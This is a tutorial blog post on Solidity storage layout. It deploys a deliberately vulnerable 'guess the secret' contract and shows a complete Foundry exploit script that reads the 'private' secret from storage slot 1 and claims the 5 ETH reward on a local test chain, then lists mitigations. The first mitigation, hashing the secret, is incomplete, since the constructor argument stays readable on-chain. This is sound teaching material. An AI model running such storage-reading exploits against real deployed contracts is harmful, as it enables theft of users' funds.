Secrets in the Open: Unpacking Solidity Storage Vulnerabilities
12 min read
January 5, 2025
![](https://wsrv.nl/?url=https://content.kayssel.com/content/images/2024/10/web3-logo-1.webp)
![Secrets in the Open: Unpacking Solidity Storage Vulnerabilities](https://wsrv.nl/?url=https://content.kayssel.com/content/images/2025/01/web3-9.png)
Table of contents
Introduction
In the magical land of blockchain, where smart contracts are the enchanted scrolls that power decentralized kingdoms, a question looms large: how do you keep a secret in a world where everyone can see everything? Enter the SecretOfEryndor, a fictional treasure chest with a clever twist—anyone who guesses the secret code unlocks 5 ETH. But here’s the catch: the chest is made of glass, and the code is scribbled inside for anyone curious enough to look.
Solidity’s storage system is like a spellbook written in invisible ink—visible to all who know how to read it. Even variables marked private
are only private at the surface level. Beneath the transparency that makes blockchain trustworthy lies a paradox: the very openness that ensures decentralization also exposes secrets to potential exploits.
In this chapter, we’ll channel our inner adventurers and dive into the mechanics of Solidity’s storage. We’ll deploy the SecretOfEryndor contract, uncover how its vulnerabilities allow anyone to retrieve its hidden secret, and use Foundry’s scripting magic to execute an exploit step by step. Along the way, we’ll learn how to fortify contracts against prying eyes with techniques like hashing sensitive data, off-chain storage, and dynamic secrets. Ready to uncover the tricks hidden in the blockchain’s spellbook? Let’s begin the quest! 🗺️
Deep Dive into Solidity Storage Mechanics
If Solidity storage were a physical space, it’d be a vast library of lockers—each one perfectly labeled and organized but with glass doors, so anyone can peek inside. This deterministic and efficient system ensures that smart contracts can quickly retrieve and update data. But it’s also the reason attackers know exactly where to look when they want to steal your secrets. Let’s grab a flashlight and explore these lockers more closely to see how they’re organized and what makes them vulnerable.
The Slot System: A Perfectly Organized Locker Room
In Solidity, storage is divided into 32-byte slots, each one numbered sequentially starting from zero. Every variable in your contract gets its own slot (or shares one, in the case of smaller variables). Here’s how Solidity assigns these lockers:
- Single Variables: Larger data types like
uint256
,address
, orbool
are stored in their own slots. - Packed Variables: Smaller types like
uint8
orbool
are crammed into a single slot like roommates in a dorm. Solidity is efficient that way, but this packing can cause issues if you’re not careful.
Take this example:
contract PackedStorage {
uint8 public a; // Stored in the first byte of slot 0
uint8 public b; // Stored in the second byte of slot 0
uint256 public c; // Stored in slot 1
}
Here, a
and b
share slot 0
, snugly packed like Tetris blocks, while c
stretches out in its own personal slot, slot 1
. This packing reduces costs but makes updates tricky—change one variable without care, and you might accidentally overwrite the other.
Dynamic Data Types: The Wanderers of Storage
Dynamic types like arrays, mappings, and strings are more adventurous. Instead of settling in a single slot, they use their base slot as a starting point and then branch out. Think of them as storing their metadata (like an index or a map) in one locker while their actual data goes to a separate, secret hideaway.
Arrays: Solidity stores the length of the array in its base slot. The actual data? That’s off on its own, starting at a hashed location derived from the base slot.
contract ArrayExample {
uint256[] public numbers; // Length stored in slot 0
}
In this case, numbers.length
is in slot 0
, but the array’s elements live at keccak256(0)
and beyond. If your array grows, it just keeps filling up lockers sequentially.
Mappings:
Mappings use a similar hashing mechanism but include the key in the hash. For each key-value pair, Solidity computes the storage slot as keccak256(abi.encodePacked(key, slot))
.
For balances
, the value associated with an address is stored at a location derived from the hash of the address and the base slot. For instance, if the base slot is 0
and the key is an Ethereum address, the storage location is:
keccak256(abi.encodePacked(address, 0))
contract MappingExample {
mapping(address => uint256) public balances; // Base slot at 0
}
Strings and Bytes
Strings and dynamic byte arrays have a dual personality. If the content is short (≤31 bytes), it’s stored directly in the slot along with its length. But for longer content, Solidity keeps the metadata in the slot and shuffles the actual data to a hashed location.
Here’s how a short string like "Hello"
and a longer one like "A very long secret message"
are stored:
contract StringExample {
string public message; // Slot 0 for metadata
}
"Hello"
fits snugly into slot0
with its length embedded."A very long secret message"
keeps its metadata in slot0
, but its content moves tokeccak256(0)
.
The Glass Door Problem
Now, here’s where things get practical. To query the storage of a contract and retrieve specific data, tools like cast make it straightforward. Even variables marked as private
can be accessed by simply specifying the contract address and the storage slot you want to inspect:
cast storage <CONTRACT_ADDRESS> <SLOT_INDEX>
Now that we’ve unpacked the mechanics of Solidity’s storage, let’s put this knowledge into practice by examining a vulnerable contract 😋
Vulnerable Smart Contract
The SecretOfEryndor contract is designed with a seemingly straightforward purpose: to reward users who correctly guess a secret code with 5 ETH. The contract owner retains control over its funds and can withdraw the remaining balance when needed.
Vulnerable Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SecretOfEryndor {
uint256 public creationTime; // Slot 0: A timestamp for when the contract was created
string private secret; // Slot 1: The "hidden" secret code of the magical relic
address public creator; // Slot 2: The address of the creator
bool public isActive; // Slot 3: A flag to indicate if the contract is active
uint8 public version; // Slot 3 (packed with `isActive`)
// Constructor to initialize the contract
constructor(string memory _secret) payable {
require(
msg.value >= 5 ether,
"Contract must be funded with at least 5 ETH"
);
creationTime = block.timestamp;
secret = _secret;
creator = msg.sender;
isActive = true;
version = 1;
}
// Function to guess the secret and claim 5 ETH if correct
function guessSecret(string memory _guess) public {
require(address(this).balance >= 5 ether, "Contract is out of funds");
require(
keccak256(abi.encodePacked(_guess)) ==
keccak256(abi.encodePacked(secret)),
"Incorrect secret"
);
// Send 5 ETH to the caller
(bool success, ) = msg.sender.call{value: 5 ether}("");
require(success, "Transfer failed");
}
// Function to allow the creator to withdraw remaining funds
function withdraw() public {
require(msg.sender == creator, "Only the creator can withdraw funds");
require(address(this).balance > 0, "No funds to withdraw");
(bool success, ) = creator.call{value: address(this).balance}("");
require(success, "Withdrawal failed");
}
// Function to deposit additional funds into the contract
function fundContract() public payable {
require(msg.value > 0, "Must send some ether");
}
}
The contract begins with five state variables, each playing a distinct role. The creationTime
variable logs the timestamp of the contract’s deployment, providing a historical anchor for its initialization. The secret
variable stores the private code that users must guess to claim the reward. The creator
variable records the Ethereum address of the contract’s deployer, granting them administrative authority. Finally, the isActive
and version
variables manage the contract’s operational status and versioning, sharing the same storage slot for efficiency.
uint256 public creationTime; // Slot 0: Timestamp of contract creation
string private secret; // Slot 1: The hidden secret
address public creator; // Slot 2: Address of the creator
bool public isActive; // Slot 3 (shared): Contract status flag
uint8 public version; // Slot 3 (shared): Contract version
The constructor initializes these variables and ensures the contract is adequately funded. It requires a deposit of at least 5 ETH upon deployment, assigns the deployer’s address as the creator
, sets the contract to active, and marks the version as one. This setup establishes the contract’s operational foundation.
constructor(string memory _secret) payable {
require(msg.value >= 5 ether, "Contract must be funded with at least 5 ETH");
creationTime = block.timestamp;
secret = _secret;
creator = msg.sender;
isActive = true;
version = 1;
}
The guessSecret
function is the contract’s centerpiece, allowing users to guess the secret code. If the guess is correct, the contract sends 5 ETH to the caller. The function first checks that the contract holds sufficient funds and then compares the hashed value of the submitted guess with the stored secret. This ensures that the comparison is resistant to direct string matching.
function guessSecret(string memory _guess) public {
require(address(this).balance >= 5 ether, "Contract is out of funds");
require(
keccak256(abi.encodePacked(_guess)) == keccak256(abi.encodePacked(secret)),
"Incorrect secret"
);
(bool success, ) = msg.sender.call{value: 5 ether}("");
require(success, "Transfer failed");
}
For fund management, the withdraw
function allows the creator to withdraw all remaining Ether in the contract. This function ensures only the creator can execute it and that the contract has a positive balance before proceeding.
function withdraw() public {
require(msg.sender == creator, "Only the creator can withdraw funds");
require(address(this).balance > 0, "No funds to withdraw");
(bool success, ) = creator.call{value: address(this).balance}("");
require(success, "Withdrawal failed");
}
Additionally, the fundContract
function provides a way for anyone to deposit additional Ether into the contract, ensuring the reward pool can be replenished as needed.
function fundContract() public payable {
require(msg.value > 0, "Must send some ether");
}
The contract’s storage layout organizes these variables predictably. The creationTime
is stored in slot 0
, while the secret
metadata resides in slot 1
. If the secret exceeds 31 bytes, its content is stored at a hashed location derived from slot 1
. The creator
address is in slot 2
, and the isActive
and version
variables share slot 3
.
Deploying the Contract: Foundry Scripts in Action
Today, we’ll take a different approach to deploying the vulnerable contract by using Foundry’s powerful scripting capabilities.
Deployment Script
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/SecretOfEryndor.sol";
contract DeployScript is Script {
function run() external {
string memory secret = "SuperSecureSecret1234!";
uint256 fundingAmount = 100 ether; // Minimum funding for the contract
// Start broadcasting the transaction
vm.startBroadcast(vm.envUint("ADMIN_KEY"));
// Deploy the contract with the secret and funding
SecretOfEryndor deployedContract = (new SecretOfEryndor){
value: fundingAmount
}(secret);
// Log the deployed contract's address
console.log("Deployed SecretOfEryndor at:", address(deployedContract));
vm.stopBroadcast();
}
}
The script begins by defining the deployment parameters. The secret
variable holds the secret code required to claim the reward, and the fundingAmount
sets the Ether balance transferred to the contract during deployment. These ensure the contract is correctly initialized and operational.
string memory secret = "SuperSecureSecret1234!";
uint256 fundingAmount = 100 ether; // Minimum funding for the contract
The run
function, executed by Foundry during deployment, accesses the deployer’s private key from an environment variable. For this proof of concept, we store the keys in a .env
file as a common practice within the community, keeping the setup straightforward and accessible. The deployment is broadcast using the vm.startBroadcast
function, signaling that all subsequent transactions are being signed and sent to the network.
vm.startBroadcast(vm.envUint("ADMIN_KEY"));
The actual contract deployment occurs using the new
keyword, with the value
parameter specifying the Ether sent during initialization. This step deploys the SecretOfEryndor contract with the secret and funding amount provided.
SecretOfEryndor deployedContract = (new SecretOfEryndor){
value: fundingAmount
}(secret);
Once deployed, the contract’s address is logged to the console for easy reference. This enables immediate interaction with the contract in the test environment.
console.log("Deployed SecretOfEryndor at:", address(deployedContract));
The deployment process is finalized with a call to vm.stopBroadcast
, ensuring that all broadcasted transactions are completed.
vm.stopBroadcast();
To execute this script, we’ll start by setting up the environment. The RPC URL for the Anvil local blockchain will be defined in the foundry.yaml
configuration file, while the private keys for both the administrator and the attacker will be stored securely in the .env
file. These keys will allow the script to access the respective accounts during deployment and testing. Once the setup is complete, the script can be executed using Foundry’s forge
command. Upon successful deployment, the contract’s address will be displayed in the console, ready for testing and further interaction.
![](https://wsrv.nl/?url=https://www.kayssel.com/content/images/2025/01/image-1.png&w=800&h=600&format=webp&q=80)
![](https://wsrv.nl/?url=https://www.kayssel.com/content/images/2025/01/image-2.png&w=800&h=600&format=webp&q=80)
![](https://wsrv.nl/?url=https://www.kayssel.com/content/images/2025/01/image-3.png&w=800&h=600&format=webp&q=80)
Executing the Exploit: Using Foundry Scripts
To demonstrate the vulnerabilities of the SecretOfEryndor contract, we will perform an exploit using Foundry’s scripting capabilities.
Exploit Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
interface ISecretOfEryndor {
function guessSecret(string memory _code) external;
}
contract RevealAndAttack is Script {
function run() external {
address contractAddress = 0x5FbDB2315678afecb367f032d93F642f64180aa3; // Replace with your deployed contract address
uint256 slot = 1; // Slot 1: Where the `secret` is stored
// Step 1: Query the attacker's balance before the attack
address attacker = vm.addr(vm.envUint("ATTACKER_KEY"));
console.log(
"Attacker's initial balance (ETH):",
attacker.balance / 1 ether
);
// Step 2: Query the storage slot to retrieve the raw secret
bytes32 rawSecret = vm.load(contractAddress, bytes32(slot));
console.logBytes32(rawSecret);
// Step 3: Decode the secret and trim trailing null characters
string memory decodedSecret = _bytes32ToString(rawSecret);
console.log("Decoded Secret:", decodedSecret);
// Step 4: Call the `guessSecret` function with the decoded secret
vm.startBroadcast(vm.envUint("ATTACKER_KEY"));
ISecretOfEryndor(contractAddress).guessSecret(decodedSecret);
vm.stopBroadcast();
// Step 5: Query the attacker's balance after the attack
console.log(
"Attacker's final balance (ETH):",
attacker.balance / 1 ether
);
}
// Helper function to trim padding and convert bytes32 to string
function _bytes32ToString(
bytes32 _data
) internal pure returns (string memory) {
uint256 length = 0;
while (length < 32 && _data[length] != 0) {
length++;
}
bytes memory result = new bytes(length);
for (uint256 i = 0; i < length; i++) {
result[i] = _data[i];
}
return string(result);
}
}
The first step is querying the attacker’s initial balance. Using Foundry’s vm
utility, the script retrieves the attacker’s address and logs their current Ether holdings. This provides a baseline for assessing the impact of the exploit.
address attacker = vm.addr(vm.envUint("ATTACKER_KEY"));
console.log("Attacker's initial balance (ETH):", attacker.balance / 1 ether);
Next, the script targets the storage slot where the secret is stored. Since the contract’s layout is predictable, the secret resides in slot 1
. Using vm.load
, the script retrieves the raw secret value directly from the blockchain’s storage.
bytes32 rawSecret = vm.load(contractAddress, bytes32(slot));
console.logBytes32(rawSecret);
After extracting the raw secret, it is converted into a readable format. The _bytes32ToString
helper function decodes the bytes and removes any trailing null characters, revealing the actual secret.
string memory decodedSecret = _bytes32ToString(rawSecret);
console.log("Decoded Secret:", decodedSecret);
With the secret in hand, the attacker proceeds to exploit the contract. Broadcasting a transaction signed with the attacker’s private key, the script calls the guessSecret
function using the decoded secret. This triggers the reward mechanism, transferring 5 ETH from the contract to the attacker.
vm.startBroadcast(vm.envUint("ATTACKER_KEY"));
ISecretOfEryndor(contractAddress).guessSecret(decodedSecret);
vm.stopBroadcast();
Finally, the script checks the attacker’s balance again to verify the success of the exploit. The difference in the balance confirms that the contract’s funds have been transferred.
console.log("Attacker's final balance (ETH):", attacker.balance / 1 ether);
![](https://wsrv.nl/?url=https://www.kayssel.com/content/images/2025/01/image-4.png&w=800&h=600&format=webp&q=80)
Top Three Solutions to Mitigate Storage Vulnerabilities
Storing sensitive data directly on-chain poses significant risks, as attackers can query storage slots to extract private information, even if marked as private
. However, these risks can be addressed with thoughtful design and best practices. Here are three primary solutions we recommend to mitigate such vulnerabilities effectively.
1. Hash Sensitive Data Before Storing It
Instead of storing plaintext values like passwords or secrets directly in storage, store their hashed representations. Hashing is a one-way operation, making it computationally infeasible for an attacker to reverse-engineer the original value from the hash.
For example, use Solidity’s keccak256
hashing function to hash the secret before storing it:
bytes32 private hashedSecret;
constructor(string memory _secret) {
hashedSecret = keccak256(abi.encodePacked(_secret));
}
When a user submits their guess, hash the input and compare it to the stored hash:
function guessSecret(string memory _guess) public {
require(keccak256(abi.encodePacked(_guess)) == hashedSecret, "Incorrect secret");
}
2. Use Off-Chain Storage for Critical Data
To completely avoid exposing sensitive data on-chain, store critical information off-chain. The blockchain can then store a reference to this data, such as a hash or unique identifier, which can be verified without revealing the actual content.
For example, instead of storing the secret on-chain, save it in a secure database or an off-chain decentralized storage system like IPFS. Then, use a hash of the secret for on-chain verification:
bytes32 public secretHash;
constructor(bytes32 _secretHash) {
secretHash = _secretHash;
}
3. Dynamically Generate Secrets
Static secrets are inherently risky, as they remain constant and predictable. Instead, use dynamic, context-sensitive values that are generated based on factors like user addresses, timestamps, or random values. This approach ensures that secrets are unique for each interaction and cannot be precomputed or extracted.
For instance, you can combine a user’s address and a nonce to create a dynamic secret:
function generateSecret(address user, uint256 nonce) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(user, nonce));
}
Conclusion
This article explored how Solidity’s storage system, while efficient and predictable, can also expose smart contracts to critical vulnerabilities. Through the SecretOfEryndor contract, we saw how attackers can exploit the transparent nature of blockchain to retrieve sensitive information and execute exploits.
Using Foundry scripts, we demonstrated how to deploy and test contracts in a controlled environment, uncovering weaknesses and turning theoretical risks into practical insights. Finally, we examined effective solutions, like hashing sensitive data, utilizing off-chain storage, and dynamically generating secrets, to mitigate these vulnerabilities.
Blockchain's transparency is both a feature and a challenge, but with thoughtful design and the right tools, developers can build smart contracts that are secure, robust, and trustworthy. Now, it’s your turn to apply these lessons and take your blockchain projects to the next level.
References
- Foundry - A Blazing Fast, Modular, and Portable Ethereum Development Framework. "Foundry Documentation." Available at: https://book.getfoundry.sh/
- Solidity - Language for Smart Contract Development. "Solidity Documentation." Available at: https://docs.soliditylang.org/
- OpenZeppelin - Secure Smart Contract Libraries. "OpenZeppelin Contracts Documentation." Available at: https://docs.openzeppelin.com/contracts
- Ethereum - Open-Source Blockchain Platform for Smart Contracts. "Ethereum Whitepaper." Available at: https://ethereum.org/en/whitepaper/
- Anvil - A Local Ethereum Development Node for Testing Smart Contracts. "Anvil Documentation." Available at: https://book.getfoundry.sh/anvil/
- Etherscan - Ethereum Block Explorer and Analytics Platform. "Etherscan Documentation." Available at: https://etherscan.io/
- Cast - Interacting with Smart Contracts and Ethereum Nodes. "Foundry Documentation." Available at: https://book.getfoundry.sh/reference/cast/
- Blockchain Security - Understanding and Mitigating Vulnerabilities in Smart Contracts. "Trail of Bits Blog." Available at: https://blog.trailofbits.com/
- Storage in Solidity - Detailed Analysis of Solidity Storage Mechanics. "Solidity Documentation." Available at: https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html
Chapters
![Botón Anterior](https://wsrv.nl/?url=https://content.kayssel.com/content/images/2024/12/web3-8.webp)
Previous chapter
Next chapter
![](https://wsrv.nl/?url=https://content.kayssel.com/content/images/2025/01/web3-10-2.webp)